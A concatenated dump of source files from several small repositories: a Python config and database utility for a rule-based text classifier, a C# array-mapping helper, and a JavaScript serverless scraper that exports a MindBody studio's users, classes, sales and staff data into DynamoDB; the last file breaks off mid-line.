db_sec.get('insertInterval') self.db_verStartTime = db_sec.get('verStartTime') #重载配置文件 def ReloadConfig(self): self.LoadConfig(self.config_path) #输出当前所有配置 # def PrintConfig(self): # #Config file path # print('configuration file path : ', self.config_path) # # # #DB # print('===DB===') # print('Database type is [%s]' % self.db_type) # print(' host = [%s]' % self.db_host) # print(' port = [%s]' % self.db_port) # print(' user = [%s]' % self.db_user) # print(' password = [%s]' % self.db_<PASSWORD>) # print(' dbname = [%s]' % self.db_name) # print(' charset = [%s]' % self.db_charset) #设置指定配置 # def SetSKV(self, secs, opt, kvs): # if self.cf is not None: # self.cf.set(secs, opt, kvs) # self.cf.write(open(self.config_path, 'w')) #def test_func(cfg): # print(cfg.db_type) # #if __name__ == '__main__': # alm_cfg= ReadConfig('../config/compact.conf') # alm_cfg.PrintConfig() # print(alm_cfg.interval) # test_func(alm_cfg) # <file_sep>/README.md # MatchRuler 这是一个基于规则引擎的二叉树模型的短文本问题归类方法 <file_sep>/match_rule/utils/DbUtil.py import pymysql as mdb import sys import os sys.path.append("..") from utils.LightMysql import LightMysql from utils.ReadConfig import ReadConfig class DbUtil(object): ''' classdocs ''' def __init__(self): ''' Constructor ''' #返回当前时间或时间戳 def getDb(self): BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) #返回当前文件的根目录的前一个目录 config_path = BASE_DIR+'/config/compact.conf' self.alm_cfg= ReadConfig(config_path)#输入的是数据库信息,返回的是一个对象所以要用"." self.db_config = {'host': self.alm_cfg.db_host, 'port': int(self.alm_cfg.db_port), 'user': self.alm_cfg.db_user, 'passwd': self.alm_cfg.db_passwd, 'db': self.alm_cfg.db_name, 'charset':'utf8'} print(self.db_config) self.db = LightMysql(self.db_config) # 创建LightMysql对象,若连接超时,会自动重连 #这个就是连接数据库 #并且在这个py文件里定义了query函数 #其形式为:query(self, sql, ret_type='all', values=None): return self.db<file_sep>/match_rule/utils/Constant.py class Constant(object): ''' 常量 ''' class DbTable: ATTR_ID = 'attr_id' RULE_OPERATOR = 'rule_operator' #操作符 || && RULE_SYMB = 'rule_symb' # like,... RULE_VALUE = 'rule_value' #规则value RULE_TYPE = 'rule_type' #规则类型 PID = 'pid' #上一级节点ID RULE_ID = 'rule_id' #规则id class ReTextInfo: ITEMS = 'items' #字典的key
10bffdbe968182158a8a32ce5470d763d8ffc3f5
[ "Markdown", "Python" ]
8
Python
Peterzwb/MatchRuler
31c72d50deced332fae690fe3574da1f7854fb54
f023ebcdefee0a263cdbc2d31929b4e25361578b
refs/heads/master
<file_sep>using System; using System.Linq; using System.Collections.Generic; namespace Transform { public delegate int converter(int x); public static class Transform { public static List<int> Map(this int[] values , converter convert) { List<int> converted_values = new List<int>(); foreach (int item in values) { converted_values.Add(convert(item)); } return converted_values; throw new NotImplementedException(); } } }
f15f54bdba566db31feb5f821f17a6308d101978
[ "C#" ]
1
C#
sro-boeing-wave-2/transform-collection-csharp-problem-Hrishi246
915d51a3822bf49c48eecbd9c19442887866ad59
2d00f66590a922747423baf1af37ea06ab66f9d0
refs/heads/main
<repo_name>a-lukianenko/squares_react<file_sep>/src/components/SuperTable/SuperTable.jsx import React, { useState, useCallback, useMemo } from "react"; import Table from "../Table/Table"; import Button from "../Button/Button"; import css from "./SuperTable.module.css"; import { Context } from "../../context"; const SuperTable = ({ initialWidth = 4, initialHeight = 4, cellSize = 50 }) => { // integer to an array of objects with id const range = useCallback(int => { return [...Array(int).keys()].map(el => ({ id: el })); }, []); const initialPosition = { rowIndex: 0, cellIndex: 0, left: null, top: null, }; const [position, setPosition] = useState(initialPosition); const [rows, setRows] = useState(() => range(initialHeight)); const [cells, setCells] = useState(() => range(initialWidth)); const [isVisible, setIsVisible] = useState(false); // Add Buttons methods & styles const addRow = useCallback(() => setRows(range(rows.length + 1)), [ range, rows.length, ]); const addRowStyle = useMemo( () => ({ top: "calc(100% + 2px)", left: "3px" }), [] ); const addColumn = useCallback(() => setCells(range(cells.length + 1)), [ range, cells.length, ]); const addColumnStyle = useMemo( () => ({ top: "3px", left: "calc(100% + 2px)" }), [] ); // // Remove buttons methods & styles const removeRow = useCallback(() => { setIsVisible(false); setRows(rows.filter((_, i) => i !== position.rowIndex)); }, [rows, position.rowIndex]); const removeRowStyle = useMemo( () => ({ top: `${position.top + 2}px`, right: "100%", boxShadow: "inset -3px 0px 0 -1px white", }), [position.top] ); const removeColumn = useCallback(() => { setIsVisible(false); setCells(cells.filter((_, i) => i !== position.cellIndex)); }, [cells, position.cellIndex]); const removeColumnStyle = useMemo( () => ({ left: `${position.left + 2}px`, bottom: "100%", boxShadow: "inset 0px -3px 0 -1px white", }), [position.left] ); // // Display & move Buttons along their axes const moveButtons = useCallback( ({ offsetLeft, offsetTop, rowIndex, cellIndex }) => { setPosition({ left: offsetLeft, top: offsetTop, rowIndex, cellIndex, }); setIsVisible(true); }, [] ); const hideButtons = useCallback(flag => { setIsVisible(flag); }, []); const mouseLeaveSuperTable = useCallback(() => { setIsVisible(false); }, []); // return ( <div className={css.squaresWrapper} onMouseLeave={mouseLeaveSuperTable}> <Context.Provider value={{ cellSize, cells: cells }}> <Table rows={rows} onMouseOver={moveButtons} onMouseLeave={hideButtons} /> {/* Add Row button */} <Button type='+' style={addRowStyle} size={cellSize} onClick={addRow} /> {/* Add Column button */} <Button type='+' style={addColumnStyle} size={cellSize} onClick={addColumn} /> {/* Remove Row button */} <Button type='-' style={removeRowStyle} size={cellSize} onClick={rows.length > 1 ? removeRow : undefined} isVisible={isVisible && rows.length > 1} /> {/* Remove Column button */} <Button type='-' style={removeColumnStyle} size={cellSize} onClick={cells.length > 1 ? removeColumn : undefined} isVisible={isVisible && cells.length > 1} /> </Context.Provider> </div> ); }; export default SuperTable; <file_sep>/src/components/Button/Button.jsx import React from "react"; import css from "./Button.module.css"; function getButtonClass(type, isVisible) { if (type === "+") return css.addBtn; if (type === "-") return isVisible ? `${css.removeBtn} ${css.visible}` : css.removeBtn; } const Button = React.memo(({ type, style, size, onClick, isVisible }) => { const buttonClass = getButtonClass(type, isVisible); return ( <button style={{ ...style, width: size + "px", height: size + "px", lineHeight: size + "px", }} className={buttonClass} onClick={onClick} > {type} </button> ); }); export default Button; <file_sep>/README.md [Squares with React](https://a-lukianenko.github.io/squares_react/)
9090153152bfd47f3562243f48d13a9299dc931a
[ "JavaScript", "Markdown" ]
3
JavaScript
a-lukianenko/squares_react
6a91b70117a8b9d2e392a02d87cde1248f165086
8506358f9f5e8141dcff154d97740a3de1c2d692
refs/heads/master
<repo_name>banjofunk/mindbody-scraper<file_sep>/functions/utils/index.js // const dig = require('./dig') const digDug = () => console.log('digdug man') module.exports = { dig: require('./dig'), logger: require('./logger'), mbFetch: require('./mbFetch'), parseResp: require('./parseResp'), sendToQueue: require('./sendToQueue'), writeToDynamo: require('./writeToDynamo'), digDug } <file_sep>/functions/deleteAuthVpc.js const AWS = require('aws-sdk') const cloudformation = new AWS.CloudFormation({apiVersion: '2010-05-15'}) exports.handler = async (event, context) => { console.log('removing nat from authStack') var params = { StackName: process.env.authStackName, TemplateURL: process.env.natOff, } return await cloudformation.updateStack(params).promise() } <file_sep>/functions/parsers/staffMemberApptAvailability.js const cheerio = require('cheerio') module.exports = (resp) => { const $ = cheerio.load(resp) return $('.js-parentRowForEdit').get().map(row => { const startDate = $(row).find('.dateBox').hasClass('hidden') ? false : $(row).find('.dateBox .startDate').val() const endDate = $(row).find('.dateBox').hasClass('hidden') ? false : $(row).find('.dateBox .startDate').val() return { day: $(row).find('.trash-can').data('day'), location: $(row).find('select.locations [selected]').text(), startTime: $(row).find('select.startTime [selected]').text(), endTime: $(row).find('select.endTime [selected]').text(), category: $(row).find('select[name=SelectedServiceIds] [selected]').text(), frequency: $(row).find('select.dateRangeTypeDropdown [selected]').text(), public: !$(row).find('.settingsMan').hasClass('hide'), startDate, endDate } }) } <file_sep>/functions/getPricingDetails.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const writeToDynamo = require('./utils/writeToDynamo') const qs = require('querystring') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { item, session } = event await logger(session, `fetching pricing: ${item.id} - ${item.title}`) const url = 'https://clients.mindbodyonline.com/AddEditPricingOption/Edit' const query = qs.stringify({ id: item.id }) const fetchParams = { session, url: `${url}?${query}`, options: {}, parser: 'pricingDetailsParser' } const pricingDetails = await mbFetch(fetchParams) await writeToDynamo('pricingDetailId', {...pricingDetails, active: item.active}, 'PricingDetailsTable') return Promise.resolve() } <file_sep>/functions/getStaffMemberApptAvailability.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const writeToDynamo = require('./utils/writeToDynamo') const qs = require('querystring') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { item, session } = event await logger(session, `fetching staff member appointment availability: ${item.id} - ${item.firstname} ${item.lastname}`) const url = 'https://clients.mindbodyonline.com/StaffSchedule/StaffCentricSchedule' const query = qs.stringify({ id: item.id }) const fetchParams = { session, url: `${url}?${query}`, options: {}, parser: 'staffMemberApptAvailabilityParser' } const availabilities = await mbFetch(fetchParams) await writeToDynamo('staffMemberId', {...item, availabilities}, 'StaffTable') return Promise.resolve() } <file_sep>/functions/parsers/classType.js const cheerio = require('cheerio') module.exports = (resp) => { const $ = cheerio.load(resp) return { name: ($('#ClassDetail_Name').val() || '').trim(), description: $('#ClassDetailDescription').text(), PrerequisiteNotes: $('#ClassDetailPrereqNotes').text(), registrationNotes: $('#ClassDetailRegistrationNotes').text(), imgUrl: $('.imageUploaderBox [alt=defaultImage]').attr('src') || false, serviceCategory: { id: $('#ServiceTag_CategoryID [selected]').val() || '', name: $('#ServiceTag_CategoryID [selected]').text() }, serviceSubCategory: { id: $('#ServiceTag_SubCategoryID [selected]').val() || '', name: $('#ServiceTag_SubCategoryID [selected]').text() }, classCategory: { id: $('#sessionTypeList [selected]').val() || '', name: $('#sessionTypeList [selected]').text() } } } <file_sep>/functions/parsers/classEventUsers.js const cheerio = require('cheerio') module.exports = (resp) => { const $ = cheerio.load(resp) const students = $('.clientCell').get().map(client => { const row = $(client).parent() const id = row.find('.clientName').attr('href').match(/ID=(.*?)&/)[1] const name = row.find('.clientName').text().trim() const firstName = name.split(',')[1].trim() const lastName = name.split(',')[0].trim() return { id, firstName, lastName, remaining: row.find('.client-payment-remaining-visits').text().trim(), paymentType: row.find('.client-payment-type span').attr('title'), expiration: row.find('.client-payment-expiration').text().trim(), web: row.find('input[name="optWeb"]').attr('checked') ? true : false, signedIn: row.find('.clientSignedIn').attr('checked') ? true : false, } }) const teacherId = $('#frmSelectedTrn1').val() return { teacherId, students } } <file_sep>/functions/getContractTypes.js const { mbFetch, logger, sendToQueue } = require('./utils') const qs = require('querystring') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { session } = event await logger(session, `fetching contract types`) const method = 'post' const headers = { "Content-Type": "application/x-www-form-urlencoded" } const url = 'https://clients.mindbodyonline.com/paginatedcontracts/filter' const body = filterParams() const fetchParams = { session, url, options: { method, headers, body }, parser: 'contractTypesParser' } const contractTypes = await mbFetch(fetchParams) await Promise.all(contractTypes.map( contractType => sendToQueue(contractType, 'getContractType', session) )) } const filterParams = () => { return qs.stringify({ "OneToManyFilters[0].IsSystemGeneratedData": "False", "OneToManyFilters[0].FilterOptions.ColumnName": "prim.SeriesTypeName", "OneToManyFilters[0].FilterOptions.DisplayName": "Memberships", "OneToManyFilters[0].FilterOptions.PropertyName": "Memberships", "OneToManyFilters[0].FilterOptions.ShowAll": "False", "OneToManyFilters[0].FilterOptions.FilterValues[0].DisplayName": "All memberships", "OneToManyFilters[0].FilterOptions.FilterValues[0].Id": "1", "OneToManyFilters[0].FilterOptions.FilterValues[0].IsSelected": "True", "OneToManyFilters[0].FilterOptions.FilterValues[0].ShowAll": "True", "OneToManyFilters[0].FilterOptions.FilterValues[0].Value": "*", "OneToManyFilters[0].FilterOptions.FilterValues[1].DisplayName": "Namaspa Membership", "OneToManyFilters[0].FilterOptions.FilterValues[1].Id": "3", "OneToManyFilters[0].FilterOptions.FilterValues[1].IsSelected": "False", "OneToManyFilters[0].FilterOptions.FilterValues[1].ShowAll": "False", "OneToManyFilters[0].FilterOptions.FilterValues[1].Value": "3", "OneToManyFilters[0].FilterOptions.FilterValues[2].DisplayName": "Recorded Classes Membership", "OneToManyFilters[0].FilterOptions.FilterValues[2].Id": "4", "OneToManyFilters[0].FilterOptions.FilterValues[2].IsSelected": "False", "OneToManyFilters[0].FilterOptions.FilterValues[2].ShowAll": "False", "OneToManyFilters[0].FilterOptions.FilterValues[2].Value": "10", "OneToManyFilters[1].IsSystemGeneratedData": "False", "OneToManyFilters[1].FilterOptions.ColumnName": "prim.LocationName", "OneToManyFilters[1].FilterOptions.DisplayName": "Locations", "OneToManyFilters[1].FilterOptions.PropertyName": "Locations", "OneToManyFilters[1].FilterOptions.ShowAll": "False", "OneToManyFilters[1].FilterOptions.FilterValues[0].DisplayName": "All locations", "OneToManyFilters[1].FilterOptions.FilterValues[0].Id": "1", "OneToManyFilters[1].FilterOptions.FilterValues[0].IsSelected": "True", "OneToManyFilters[1].FilterOptions.FilterValues[0].ShowAll": "True", "OneToManyFilters[1].FilterOptions.FilterValues[0].Value": "*", "OneToManyFilters[1].FilterOptions.FilterValues[1].DisplayName": "Bend", "OneToManyFilters[1].FilterOptions.FilterValues[1].Id": "3", "OneToManyFilters[1].FilterOptions.FilterValues[1].IsSelected": "False", "OneToManyFilters[1].FilterOptions.FilterValues[1].ShowAll": "False", "OneToManyFilters[1].FilterOptions.FilterValues[1].Value": "1", "OneToManyFilters[1].FilterOptions.FilterValues[2].DisplayName": "Redmond", "OneToManyFilters[1].FilterOptions.FilterValues[2].Id": "4", "OneToManyFilters[1].FilterOptions.FilterValues[2].IsSelected": "False", "OneToManyFilters[1].FilterOptions.FilterValues[2].ShowAll": "False", "OneToManyFilters[1].FilterOptions.FilterValues[2].Value": "2", "BinaryFilters[0].IsSystemGeneratedData": "True", "BinaryFilters[0].IsSingleSelect": "False", "BinaryFilters[0].FilterOptions.ColumnName": "AutoRenewing", "BinaryFilters[0].FilterOptions.DisplayName": "Renewal status", "BinaryFilters[0].FilterOptions.PropertyName": "AutoRenewing", "BinaryFilters[0].FilterOptions.ShowAll": "False", "BinaryFilters[0].FilterOptions.FilterValues[0].IsSelected": "true", "BinaryFilters[0].FilterOptions.FilterValues[0].IsSelected": "false", "BinaryFilters[0].FilterOptions.FilterValues[0].DisplayName": "Auto-renewing contracts", "BinaryFilters[0].FilterOptions.FilterValues[0].Id": "2", "BinaryFilters[0].FilterOptions.FilterValues[0].ShowAll": "False", "BinaryFilters[0].FilterOptions.FilterValues[0].Value": "1", "BinaryFilters[0].FilterOptions.FilterValues[1].IsSelected": "true", "BinaryFilters[0].FilterOptions.FilterValues[1].IsSelected": "false", "BinaryFilters[0].FilterOptions.FilterValues[1].DisplayName": "Non-renewing contracts", "BinaryFilters[0].FilterOptions.FilterValues[1].Id": "3", "BinaryFilters[0].FilterOptions.FilterValues[1].ShowAll": "False", "BinaryFilters[0].FilterOptions.FilterValues[1].Value": "0", "BinaryFilters[1].IsSystemGeneratedData": "True", "BinaryFilters[1].IsSingleSelect": "False", "BinaryFilters[1].FilterOptions.ColumnName": "Discontinued", "BinaryFilters[1].FilterOptions.DisplayName": "Status", "BinaryFilters[1].FilterOptions.PropertyName": "Discontinued", "BinaryFilters[1].FilterOptions.ShowAll": "False", "BinaryFilters[1].FilterOptions.FilterValues[0].IsSelected": "true", "BinaryFilters[1].FilterOptions.FilterValues[0].IsSelected": "false", "BinaryFilters[1].FilterOptions.FilterValues[0].DisplayName": "Active contracts", "BinaryFilters[1].FilterOptions.FilterValues[0].Id": "3", "BinaryFilters[1].FilterOptions.FilterValues[0].ShowAll": "False", "BinaryFilters[1].FilterOptions.FilterValues[0].Value": "0", "BinaryFilters[1].FilterOptions.FilterValues[1].IsSelected": "true", "BinaryFilters[1].FilterOptions.FilterValues[1].IsSelected": "false", "BinaryFilters[1].FilterOptions.FilterValues[1].DisplayName": "Inactive contracts", "BinaryFilters[1].FilterOptions.FilterValues[1].Id": "2", "BinaryFilters[1].FilterOptions.FilterValues[1].ShowAll": "False", "BinaryFilters[1].FilterOptions.FilterValues[1].Value": "1", "BinaryFilters[2].IsSystemGeneratedData": "True", "BinaryFilters[2].IsSingleSelect": "False", "BinaryFilters[2].FilterOptions.ColumnName": "SellOnline", "BinaryFilters[2].FilterOptions.DisplayName": "Sold online", "BinaryFilters[2].FilterOptions.PropertyName": "SellOnline", "BinaryFilters[2].FilterOptions.ShowAll": "False", "BinaryFilters[2].FilterOptions.FilterValues[0].IsSelected": "true", "BinaryFilters[2].FilterOptions.FilterValues[0].IsSelected": "false", "BinaryFilters[2].FilterOptions.FilterValues[0].DisplayName": "Sold online", "BinaryFilters[2].FilterOptions.FilterValues[0].Id": "2", "BinaryFilters[2].FilterOptions.FilterValues[0].ShowAll": "False", "BinaryFilters[2].FilterOptions.FilterValues[0].Value": "1", "BinaryFilters[2].FilterOptions.FilterValues[1].IsSelected": "true", "BinaryFilters[2].FilterOptions.FilterValues[1].IsSelected": "false", "BinaryFilters[2].FilterOptions.FilterValues[1].DisplayName": "Not sold online", "BinaryFilters[2].FilterOptions.FilterValues[1].Id": "3", "BinaryFilters[2].FilterOptions.FilterValues[1].ShowAll": "False", "BinaryFilters[2].FilterOptions.FilterValues[1].Value": "0", }) } <file_sep>/functions/parsers/contractType.js const cheerio = require('cheerio') module.exports = (resp) => { const $ = cheerio.load(resp) return { contractName: $('#contract-data').data('contractname'), billing: $('#contract-data').data('billing'), ticket: $('#contract-data').data('ticket'), newContract: $('#contract-data').data('newcontract'), contractDiscontinued: $('#contract-data').data('contractdiscontinued'), contractId: $('#contract-data').data('contractid'), isv2contract: $('#contract-data').data('isv2contract'), subscriptionLevel: $('#contract-data').data('subscriptionlevel') } } <file_sep>/functions/parsers/classTypes.js const cheerio = require('cheerio') const qs = require('querystring') module.exports = (resp) => { console.log('classTypes Parser') const $ = cheerio.load(resp) const classCategories = $('.serviceCatName').get().map(cat => { const id = $(cat).parents('.js-serviceCategory').data('id') || 0 return { id: id, name: $(cat).text(), active: $(cat).parents('.inactiveWrapper').length === 0 } }) const classTypes = $('.classTitle.className').get().map(cl => { const query = $(cl).attr('href').split('?')[1] const params = qs.parse(query) const activeClass = !$(cl).parents('tr').attr('class').includes('hidden') const activeCat = $(cl).parents('.inactiveWrapper').length === 0 return { id: params.classDetailID, programId: params.programID, name: $(cl).text().trim(), active: activeClass && activeCat } }) console.log('classTypes', classTypes) console.log('classCategories', classCategories) return { classCategories, classTypes } } <file_sep>/functions/getStaffMemberPayRates.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const sendToQueue = require('./utils/sendToQueue') const qs = require('querystring') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { item, session } = event await logger(session, `fetching staff member pay rates: ${item.id} - ${item.firstname} ${item.lastname}`) const url = `https://clients.mindbodyonline.com/asp/adm/adm_trn_cls_payrates.asp` const query = qs.stringify({ TID: item.id }) const fetchParams = { session, url: `${url}?${query}`, options: {}, parser: 'staffMemberPayRateParser' } const payRates = await mbFetch(fetchParams) await sendToQueue({...item, payRates}, 'getStaffMemberApptPay', session) return Promise.resolve() } <file_sep>/functions/parsers/classEvents.js const cheerio = require('cheerio') module.exports = (resp) => { const $ = cheerio.load(resp) let classEvents = [] $('.cancelLink').map( (i, yogaClass) => { const classId = $(yogaClass).data('classid') if(classId){ classEvents.push({ id: classId, date: $(yogaClass).data('classdate'), teacherId: $(`a.trackResource[data-classid="${classId}"]`).data('trainerid'), location: $(yogaClass).parents('.gearColumn').siblings().eq(5).text().trim(), room: $(yogaClass).parents('.gearColumn').siblings().eq(6).text().trim(), teacher: $(yogaClass).data('teacher'), classTypeId: $(yogaClass).data('descriptionid'), classTitle: $(yogaClass).data('classname').trim(), time: $(yogaClass).parents('.gearColumn').siblings('.classTimeCol').text().trim() }) } }) return classEvents } <file_sep>/functions/utils/parseResp.js const parseAppointmentTypes = require('../parsers/appointmentTypes') const parseAutopay = require('../parsers/autopay') const parseUsers = require('../parsers/users') const parseUserProfile = require('../parsers/userProfile') const parseClassEvents = require('../parsers/classEvents') const parseClassEventUsers = require('../parsers/classEventUsers') const parseClassTypeEventsTeachers = require('../parsers/classTypeEventsTeachers') const parseClassTypes = require('../parsers/classTypes') const parseClassType = require('../parsers/classType') const parseClassTypeEvents = require('../parsers/classTypeEvents') const parseEnrollments = require('../parsers/enrollments') const parseEnrollmentDetails = require('../parsers/enrollmentDetails') const parseProductsByLetter = require('../parsers/productsByLetter') const parseProductsByVariant = require('../parsers/productsByVariant') const parseProductDetails = require('../parsers/productDetails') const parsePricingDetails = require('../parsers/pricingDetails') const parsePricings = require('../parsers/pricings') const parseSales = require('../parsers/sales') const parseStaff = require('../parsers/staff') const parseStaffMember = require('../parsers/staffMember') const parseStaffMemberPayRate = require('../parsers/staffMemberPayRate') const parseStaffMemberApptAvailability = require('../parsers/staffMemberApptAvailability') const parseStaffMemberApptPay = require('../parsers/staffMemberApptPay') const parseContractType = require('../parsers/contractType') const parseContractTypes = require('../parsers/contractTypes') module.exports = async (parser, resp) => { console.log('parser:', parser) switch (parser) { case 'usersParser': return parseUsers(resp) case 'userProfileParser': return parseUserProfile(resp) case 'autopayParser': return parseAutopay(resp) case 'appointmentTypesParser': return parseAppointmentTypes(resp) case 'classEventsParser': return parseClassEvents(resp) case 'classEventUsersParser': return parseClassEventUsers(resp) case 'classTypesParser': return parseClassTypes(resp) case 'classTypeParser': return parseClassType(resp) case 'classTypeEventsParser': return parseClassTypeEvents(resp) case 'classTypeEventsTeachersParser': return parseClassTypeEventsTeachers(resp) case 'enrollmentsParser': return parseEnrollments(resp) case 'enrollmentDetailsParser': return parseEnrollmentDetails(resp) case 'ProductsByLetterParser': return parseProductsByLetter(resp) case 'ProductsByVariantParser': return parseProductsByVariant(resp) case 'productDetailsParser': return parseProductDetails(resp) case 'pricingDetailsParser': return parsePricingDetails(resp) case 'pricingsParser': return parsePricings(resp) case 'salesParser': return parseSales(resp) case 'staffParser': return parseStaff(resp) case 'staffMemberParser': return parseStaffMember(resp) case 'staffMemberPayRateParser': return parseStaffMemberPayRate(resp) case 'staffMemberApptAvailabilityParser': return parseStaffMemberApptAvailability(resp) case 'staffMemberApptPayParser': return parseStaffMemberApptPay(resp) case 'contractTypeParser': return parseContractType(resp) case 'contractTypesParser': return parseContractTypes(resp) default: return resp } } <file_sep>/functions/getAppointmentTypes.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const writeToDynamo = require('./utils/writeToDynamo') const cheerio = require('cheerio') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { session } = event await logger(session, `starting appointment type scraper`) const url = 'https://clients.mindbodyonline.com/servicesandpricing/appointments' const fetchParams = { session, url, options: {}, parser: 'appointmentTypesParser' } const appointmentTypes = await mbFetch(fetchParams) await Promise.all(appointmentTypes.map(appointmentType => { return writeToDynamo('appointmentTypeId', appointmentType, 'AppointmentTypesTable') })) return Promise.resolve() } <file_sep>/functions/parsers/appointmentTypes.js const cheerio = require('cheerio') module.exports = (resp) => { const $ = cheerio.load(resp) return $('.js-appointment-type').get().map( appt => { const pricing = $(appt).find('.pricing-table tbody tr').get().map( pricing => { return { id: $(pricing).find('.trash-can').data('seriesid'), title: $(pricing).find('.nameContainer span').eq(0).attr('title'), singleSession: $(pricing).find('.nameContainer .app-subText').text().trim() === "Single session" } }) const staff = $(appt).find('.appointmentStaffTable tbody tr').get().map( staff => { return { id: $(staff).find('.trash-can').data('staffid'), name: $(staff).find('.trash-can').data('staffname'), payRateType: $(staff).find('.js-pay-rate-type [selected]').text(), percentageRate: $(staff).find('#spanForPercentPay input').val(), flatRate: $(staff).find('#spanForPayAmount input').val() } }) return { id: $(appt).find('.js-toggle-appointment-type').data('appointmenttypeid'), title: $(appt).find('.js-collapseAppointmentTypeTitle').text().trim(), categoryId: $(appt).data('servicecategoryid'), category: $(appt).parents('.js-serviceCategory').find('.serviceCatName').text().trim(), pricing, staff } }) } <file_sep>/functions/parsers/productDetails.js const cheerio = require('cheerio') module.exports = (resp) => { const $ = cheerio.load(resp) const inventory = $('.js-inventoryOnHandInput').get().map( inv => { return { location: $(inv).siblings('label').text(), amount: $(inv).val() } }) const restrictions = $('#membershipRestrictions [selected]').get().map(mem => { return { id: $(mem).val(), name: $(mem).text(), } }) const discounts = $('#membershipDiscounts [selected]').get().map(mem => { return { id: $(mem).val(), name: $(mem).text(), } }) return { name: $('#ProductName').val(), barcode: $('#Barcode').val(), manufacturerId: $('#ManufacturerId').val(), locations: $('#locations [selected]').text(), categoryId: $('#PrimaryCategoryId [selected]').val(), categoryName: $('#PrimaryCategoryId [selected]').text(), subcategoryId: $('#SubcategoryId [selected]').val(), subcategoryName: $('#SubcategoryId [selected]').text(), colorId: $('#colorsEdit [selected]').val(), colorName: $('#colorsEdit [selected]').text(), sizeId: $('#sizesEdit [selected]').val(), sizeName: $('#sizesEdit [selected]').text(), supplierId: $('#SelectedProductSuppliersId [selected]').val() || '0', supplierName: $('#SelectedProductSuppliersId [selected]').text(), inventory, maxLevel: $('#MaxLevel').val(), reorderLevel: $('#ReorderLevel').val(), lotSize: $('#LotSize').val(), restrictions, discounts, notes: $('#ProductNotes').text(), quickCash: $('#yesQuickCash').attr('checked') ? true : false, posFavorite: $('#yesPosFavorite').attr('checked') ? true : false } } <file_sep>/functions/processQueue.js const AWS = require('aws-sdk') const lambda = new AWS.Lambda() const dig = require('./utils/dig') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const records = event.Records const record = dig(event, 'Records', '0') if(!record){return Promise.reject()} const { lambdaName, item, session } = JSON.parse(record.body) console.log('invoking: ', lambdaName) const params = { FunctionName: `mindbody-scraper-${process.env.stage}-${lambdaName}`, Payload: JSON.stringify({ item, session }) } return lambda.invoke(params).promise() } <file_sep>/functions/parsers/enrollmentDetails.js const cheerio = require('cheerio') const qs = require('querystring') module.exports = (resp) => { const $ = cheerio.load(resp) return { name: $('#EnrollmentDetail_Name').val(), categoryId: $('#ServiceTag_CategoryID [selected]').val(), category: $('#ServiceTag_CategoryID [selected]').text(), subCategoryId: $('#ServiceTag_SubCategoryID [selected]').val(), subCategory: $('#ServiceTag_SubCategoryID [selected]').text(), sessionType: $('#sessionTypeList [selected]').text(), sessionTypeId: $('#sessionTypeList [selected]').val(), description: $('#EnrollmentDetailDescription').text(), img: `https://clients.mindbodyonline.com${$('img[alt=defaultImage]').attr('src')}` } } <file_sep>/functions/parsers/staffMember.js const cheerio = require('cheerio') const dig = require('../utils/dig') module.exports = (resp) => { const $ = cheerio.load(resp) return { email: $('#txtEmail').val(), cellPhone: $('#txtCellPhone').val(), homePhone: $('#txtHomePhone').val(), workPhone: $('#txtWorkPhone').val(), workExt: $('#txtWorkExt').val(), notifyBy: $('#optContactBy [selected]').text(), address: $('#txtAddress').val(), city: $('#txtCity').val() || '', zip: $('#txtZip').val() || '', description: $('#txtBio').text(), group: $('#staffGroup [selected]').text(), locations: $('#locDDMulti [selected]').get().map(loc => $(loc).text()), gender: $('.gender [checked]').val(), image: $('.staff-profile-logo').attr('src') } } <file_sep>/functions/getSalesRange.js const moment = require('moment') const qs = require('querystring') const { mbFetch, logger, sendToQueue, writeToDynamo } = require('./utils') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { session, item } = event const format = 'MM/DD/YYYY' const startDate = item.startDate ? moment(item.startDate, format) : moment().subtract(1, 'month') let endDate = item.endDate ? moment(item.endDate, format) : moment() await logger(session, `getting sales range: ${startDate.format(format)} - ${endDate.format(format)}`) let endDateStr, startDateStr let qparams = [] while(startDate <= endDate) { endDateStr = endDate.format(format) startDateStr = startDate.format(format) qparams.push({ endDate: endDateStr, startDate: startDateStr}) endDate = endDate.subtract(1, 'month') } await Promise.all(qparams.map( params => { return sendToQueue(params, 'getSales', session) })) await logger(session, `queued sales calls: ${qparams.length}`) return Promise.resolve() } <file_sep>/functions/getAutopay.js const mbFetch = require('./utils/mbFetch') const qs = require('querystring') const logger = require('./utils/logger') const moment = require('moment-timezone') const writeToDynamo = require('./utils/writeToDynamo') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { session } = event await logger(session, `starting autopay scraper`) const format = 'M/DD/YYYY' const sdate = moment().format(format) const edate = moment().add(1, 'year').format(format) const url = 'https://clients.mindbodyonline.com/asp/adm/adm_eft_det.asp' const query = qs.stringify({ category: "Paymentprocessing", sdate, edate, autopayStatus: 1 }) const fetchParams = { session, url: `${url}?${query}`, options: {}, parser: 'autopayParser' } const autopays = await mbFetch(fetchParams) console.log('autopays', autopays) await logger(session, `autopays: ${autopays.length} scheduled`) await Promise.all(autopays.map(autopay => { return writeToDynamo('autopayId', autopay, 'AutopayTable') })) return Promise.resolve() } <file_sep>/functions/getProducts.js const logger = require('./utils/logger') const sendToQueue = require('./utils/sendToQueue') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { session } = event await logger(session, `sending letters to queue`) let letters if(session.prod){ letters = 'abcdefghijklmnopqrstuvwxyz '.split('') } else { letters = 'a'.split('') } console.log('letters', letters) for(const letter of letters){ await sendToQueue(letter, 'getProductsByLetter', session) } return Promise.resolve() } <file_sep>/functions/getResources.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const writeToDynamo = require('./utils/writeToDynamo') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { session } = event await logger(session, `starting resources scraper`) const url = 